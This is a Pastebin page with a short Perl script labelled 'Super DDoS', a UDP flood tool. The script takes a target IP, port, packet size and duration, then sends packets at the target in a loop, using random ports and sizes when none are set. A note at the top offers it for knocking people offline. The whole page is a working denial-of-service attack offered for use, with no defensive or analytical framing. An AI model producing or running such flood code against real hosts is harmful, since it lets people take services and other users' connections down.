Advertisement
TP2K1

g3mv.pl [Perl]

Jun 25th, 2015
777
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.19 KB | None | 0 0
  1. Note: This code can use to hack disconnet LoL
  2. #!/usr/bin/perl
  3.  
  4. ##############
  5. # udp flood.
  6. ##############
  7.  
  8. use Socket;
  9. use strict;
  10.  
  11. if ($#ARGV != 3) {
  12. print " \n";
  13. print " Super DDoS // by Adrien\n\n";
  14. print " * Order: flood.pl <IP-address> <Port> <Packets> <Time (In seconds)>\n";
  15. print " - * Port: Port to flood. Set to 0 for all.\n";
  16. print " - * Packets: The number of packets to send. Between 64 and 1024.\n";
  17. print " - * Time: Flood time in seconds.\n";
  18. exit(1);
  19. }
  20.  
  21. my ($ip,$port,$size,$time) = @ARGV;
  22.  
  23. my ($iaddr,$endtime,$psize,$pport);
  24.  
  25. $iaddr = inet_aton("$ip") or die "Unable to connect to $ip\n";
  26. $endtime = time() + ($time ? $time : 1000000);
  27.  
  28. socket(flood, PF_INET, SOCK_DGRAM, 17);
  29.  
  30.  
  31. print "Flooding in ongoing $ip with the port " . ($port ? $port : "random") . ", sends to " .
  32. ($size ? "$size-byte" : "random size") . " packets" .
  33. ($time ? " for $time seconds" : "") . "\n";
  34. print "Attack stopped with Ctrl-C\n" unless $time;
  35.  
  36. for (;time() <= $endtime;) {
  37. $psize = $size ? $size : int(rand(1500-64)+64) ;
  38. $pport = $port ? $port : int(rand(65500))+1;
  39.  
  40. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement